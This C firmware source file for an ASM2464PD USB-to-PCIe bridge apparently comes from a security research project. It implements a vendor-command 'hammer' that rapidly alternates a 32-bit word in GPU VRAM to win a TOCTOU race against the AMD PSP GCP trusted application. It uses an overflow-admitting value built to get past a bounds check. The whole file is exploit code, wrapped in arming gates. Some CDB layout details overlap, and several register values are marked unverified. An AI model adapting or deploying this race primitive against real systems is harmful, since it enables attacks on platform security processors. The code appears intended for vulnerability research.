/* * gcp_hammer.c — ASM2464PD custom vendor-command handler: PCIe VRAM "hammer". * * PURPOSE * Research tool for a double-fetch / TOCTOU experiment against the AMD PSP * GCP TA (see amd-psp-re FINDING-GCP-FE09 Addenda 70/71). It repeatedly * writes one 32-bit word at a FIXED PCIe (GPU VRAM) address, alternating * between two caller-supplied values, so that a concurrently-executing PSP * command sees different values on independent re-reads of cmdBuf[0x818]. * * It does NOTHING except that tight write loop. It is not wired into any * normal path and cannot run unless (a) the firmware was built with * -DGCP_HAMMER_BUILD, (b) the host sends the dedicated vendor opcode, AND * (c) the 16-byte CDB carries the exact 32-bit arming magic. Absent any of * these it is a no-op that returns an error byte. * * SAFETY (defence-in-depth; all four must hold to do anything): * 1. Compile-time: the whole file is #error unless GCP_HAMMER_BUILD is set, * so a stock production build never contains it. * 2. Opcode: uses vendor opcode 0xEB, which is not an opcode the stock * firmware or tinygrad's usb.py ever emits (E2/E4/E5/E7/8A are the live * ones). A stray/garbage CDB will not select it. * 3. Arming magic: CDB[2..6] must equal 0x48 0x4D 0x52 0x01 ("HMR\x01"). * A mis-decoded or replayed command without the magic returns 0xEE and * touches no PCIe register. * 4. Bounded: the iteration count is clamped to HAMMER_MAX_ITERS so the * 8051 can never spin forever and wedge USB servicing. * * CDB LAYOUT (16 bytes, landed at XDATA 0x910D by the USB/SCSI front end): * [0] 0xEB opcode (selected by the dispatch hook) * [1] flags bit0=1 run; else no-op (reserved for future subfns) * [2..6] 48 4D 52 01 arming magic "HMR\x01" (big-endian in the CDB) * [6..10] AA BB CC DD target PCIe address bits [31:0], big-endian * [10] EE target PCIe address bits [39:32] (0 for <4 GiB BAR) * [11] n/a reserved (0) * [12..14] II JJ iteration count, big-endian, 16-bit (clamped) * [14..16] n/a reserved (0) * * valA ("large") and valB ("small") are fixed below to the two values the * experiment toggles cmdBuf[0x818] between; change HAMMER_VAL_A/_B to retune. * They are compile-time constants on purpose: the host cannot be tricked into * making this write arbitrary data to arbitrary VRAM beyond the two vetted * constants + the one address it already fully controls via the normal path. * * RETURN: status byte in r7 (0xA5 = completed run, 0xEE = safety reject), matching * the stock vendor-handler convention (cf. the E7 handler's `mov r7,#0xFF; ret`). * * WARNING: this issues raw PCIe memory-write TLPs to a caller-named address. * Only ever build/flash this on a dedicated research bridge. Validate in the * repo's 8051 emulator (emulate/) before flashing hardware. */ #ifndef GCP_HAMMER_BUILD #error "gcp_hammer.c must only be compiled into an explicit research build (-DGCP_HAMMER_BUILD)." #endif #include "types.h" #include "registers.h" /* Toggle values. 0xFFFFFFFB = the "large" (overflow-admitting) value that makes * QueryChannelType's offset bound pass; 0x00001000 = a "small" value that keeps * FE0A's trailing memcpy/GenerateOMAC in-bounds. Both are inert as data. */ #define HAMMER_VAL_A 0xFFFFFFFBUL /* "large" */ #define HAMMER_VAL_B 0x00001000UL /* "small" */ /* Hard cap on loop iterations (each iteration = 2 dword writes). Keeps the * 8051 responsive; ~0x8000 pairs is a few ms, long enough to blanket one PSP * command execution, short enough not to stall USB. */ #define HAMMER_MAX_ITERS 0x8000U /* CDB window in XDATA. CDB[n] == *(0x910D + n). */ #define CDB(n) XDATA_REG8(0x910D + (n)) /* Prime one 32-bit DATA word into the TLP data registers (DATA_0=MSB .. DATA_3=LSB, * matching pcie_pio.h byte order) and fire a posted write TLP. Address registers * (0xB218..0xB21F) and FMT/TYPE/LENGTH/BYTE_EN must already be primed by the caller. */ static void tlp_write_fixed(uint32_t v) { XDATA_REG8V(0xB220) = (uint8_t)(v >> 24); /* DATA_0 = MSB */ XDATA_REG8V(0xB221) = (uint8_t)(v >> 16); /* DATA_1 */ XDATA_REG8V(0xB222) = (uint8_t)(v >> 8); /* DATA_2 */ XDATA_REG8V(0xB223) = (uint8_t)(v); /* DATA_3 = LSB */ XDATA_REG8V(0xB296) = 0x07; /* clear status */ XDATA_REG8V(0xB254) = 0x0F; /* trigger (posted write) */ } /* Entry point: the dispatch hook lcalls here when CDB[0]==0xEB. * Status byte returned in r7 (firmware convention); each return site sets it via * a proper multi-line __asm block (verified in the generated .asm to emit a real * `mov r7,#imm` with nothing clobbering it before the epilogue `ret`). */ void gcp_hammer_handler(void) { uint16_t iters; uint16_t i; /* --- safety gate 3: arming magic --- */ if (CDB(2) != 0x48 || CDB(3) != 0x4D || CDB(4) != 0x52 || CDB(5) != 0x01) { __asm mov r7, #0xEE /* reject, no PCIe access */ __endasm; return; } /* flags bit0 must be set to actually run */ if ((CDB(1) & 0x01) == 0) { __asm mov r7, #0xEE __endasm; return; } /* iteration count, clamped (safety gate 4) */ iters = ((uint16_t)CDB(12) << 8) | CDB(13); if (iters == 0 || iters > HAMMER_MAX_ITERS) iters = HAMMER_MAX_ITERS; /* --- prime the PCIe TLP engine for a single-dword memory write --- */ /* NOTE: confirm these four priming values against your known-good VRAM * write path (trace one adev.vram.view[...] = ... write, or lift from * pcie_bringup/test_pcie). They are the ONLY values that are not yet * verified in this file; everything else follows pcie_pio.h exactly. */ XDATA_REG8V(0xB210) = 0x60; /* FMT/TYPE: 64-bit memory write (MWr64) -- CONFIRM */ XDATA_REG8V(0xB216) = 0x01; /* LENGTH = 1 dword -- CONFIRM */ XDATA_REG8V(0xB217) = 0x0F; /* first-dword byte enables = 0xF -- CONFIRM */ /* target address (fixed; auto-increment is NOT used -- we re-hit one word) */ XDATA_REG8V(0xB218) = CDB(6); /* addr[31:24] */ XDATA_REG8V(0xB219) = CDB(7); /* addr[23:16] */ XDATA_REG8V(0xB21A) = CDB(8); /* addr[15:8] */ XDATA_REG8V(0xB21B) = CDB(9); /* addr[7:0] */ XDATA_REG8V(0xB21C) = CDB(10); /* addr[39:32] */ XDATA_REG8V(0xB21D) = 0x00; /* addr[47:40] */ XDATA_REG8V(0xB21E) = 0x00; /* addr[55:48] */ XDATA_REG8V(0xB21F) = 0x00; /* addr[63:56] */ /* --- the hammer: alternate A (large) / B (small) on the SAME word --- */ for (i = 0; i < iters; i++) { tlp_write_fixed(HAMMER_VAL_A); tlp_write_fixed(HAMMER_VAL_B); } __asm mov r7, #0xA5 /* completed */ __endasm; }